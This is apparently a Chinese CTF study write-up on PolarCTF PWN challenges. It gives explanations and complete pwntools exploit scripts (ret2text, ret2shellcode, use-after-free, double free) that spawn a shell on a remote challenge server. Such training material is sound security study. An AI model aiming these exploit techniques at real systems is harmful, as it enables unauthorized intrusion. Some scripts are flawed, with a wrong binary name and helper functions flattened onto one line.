PolarCTF PWN 网络安全2023秋季个人挑战赛刷题
因为B站看到视频:【PWN】play_哔哩哔哩_bilibili
所以想要一步步跟着做题。所有题目都在PolarD&N可以搜索到。
1.小狗汪汪汪
训练基本功的时候来了。很简单的ret2text。
from pwn import *
target = ("1.95.36.136", 2130)
elf = ELF("./woof")
getshell_addr = elf.symbols['getshell']
io = remote(target[0], target[1])
payload = b'A' * (9+4) + p32(getshell_addr)
io.sendline(payload)
io.interactive()
2.play
这个是关键代码:
read读取的数据在bss段,显而易见可能利用到了ret2shellcode的知识。
注意这里,需要制定架构,因为默认shellcode生成是32位
from pwn import *
context.log_level = "debug"
target = ("1.95.36.136", 2103)
#下面这句话很重要
context(arch="amd64",os="linux")
#上面这句话很重要
io = remote(target[0], target[1])
elf = ELF("./play")
shellcode=asm(shellcraft.sh())
buf=elf.symbols["buf"]
io.recvuntil(".")
io.send(shellcode)
io.recvuntil("?")
io.sendline(b'A'*0x38+p64(buf))
io.interactive()
3.name4
主要代码:
粗略分析看到明显的溢出函数gets,但是有一个if判断在阻碍着。我们需要让name这里变成0.
这就是考点,输入0会被解析为ASCII,输入\0才是一个ASCII=0.也就是我们要让ASCII==0.
同时,依然看到权限是RWX的地方,那么还是一个ret2shellcode。
from pwn import *
context.log_level = "debug"
target = ("1.95.36.136", 2122)
io = remote(target[0], target[1])
elf = ELF("./name4")
shellcode=asm(shellcraft.sh())
s=0x804A0E0
io.recvuntil("your name:")
io.send(b"\x00")
io.sendlineafter("friend name:",shellcode)
io.recvuntil("overflow:")
io.sendline(b'A'*0x24+p32(s))
io.interactive()
4.Easy_heap_UAF
这种堆题目,一般就没有栈溢出什么事了。
通过提示也看出来是UAF漏洞。
分析一下这个函数,明显的是UAF漏洞,没有把A滞空。结合判断条件仅仅是是否等于Flag,我们可以控制size,重新malloc一个和A一样的chunk,让b来往里面写内容,实际上b和a指向的同一片区域。
为了防止free a 后a进入top chunk,我们可以先申请一个chunk。但是这一步可以先不写,我们试试直接搞行不行。
这里可以编写脚本了,实现的思路很简单:
1.申请一个chunk(非必须)
2.进入5所对应的后门选项
3.利用b,输进去字符串即可。
4. getshell
这个还是比较简单,没有多余操作,都不需要脚本
当然,脚本也好写:
from pwn import *
context.log_level = "debug"
target = ("1.95.36.136", 2052)
io = remote(target[0], target[1])
elf = ELF("./name4")
io.sendlineafter("Choice!",b"5")
io.sendlineafter("size :",b"104")
io.sendlineafter("Content : ",b"Flag")
io.interactive()
5.heap_Doube_Free
这个是检验bss段的此地方的内容,进而确定是否getshell。
看了人家的教程,需要利用double free,修改对应的globals的chunk的数据区即可。
在这里就可以看出来,free的时候并没将指针指空,可以利用bk指针,实现一次任意内存写。为了防止连续double free检测,我们需要申请俩chunk,此外还得申请一个chunk来隔绝top chunk。
1.首先用pwntools实现三个功能。
2.利用double free任意地址写,修改目标地址。
以下是exp;
from pwn import *
elf = ELF("./pwn")
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote("1.95.36.136",2093)
target_addr=0x6010A0
def malloc(id,size,content):p.recvuntil("root@ubuntu:~/Desktop$ ")p.sendline('1')p.recvuntil("please input id and size :")p.sendline(str(id))#需要转为字符p.sendline(str(size))p.recvuntil("please input contet:")p.sendline(content)
def free(id):p.recvuntil("root@ubuntu:~/Desktop$ ")p.sendline(b'2')p.recvuntil("please input id :")p.sendline(str(id))
def printf(id):p.recvuntil("root@ubuntu:~/Desktop$ ")p.sendline(b'3')p.recvuntil("please input id :")p.sendline(str(id))p.recv()
def get_shell():p.recvuntil(b"root@ubuntu:~/Desktop$ ")p.sendline(b"4")
malloc(0,0x68,b'a'*0x68)
malloc(1,0x68,b'a'*0x68)
malloc(2,0x68,b'a'*0x68)
free(0)
free(1)
free(0)
malloc(3,0x68,p64(target_addr))
malloc(4,0x68,b'a'*4)
malloc(5,0x68,b'a'*4)
malloc(6,0x68,b'\x01\x01')
get_shell()
p.interactive()
6.小猫喵喵喵
明显是利用plt表进行跳转。而且是32位程序,只需要经过构造参数在栈上即可。
估计题目环境有问题,wp上代码一模一样却复现不出来,先搁置在这里。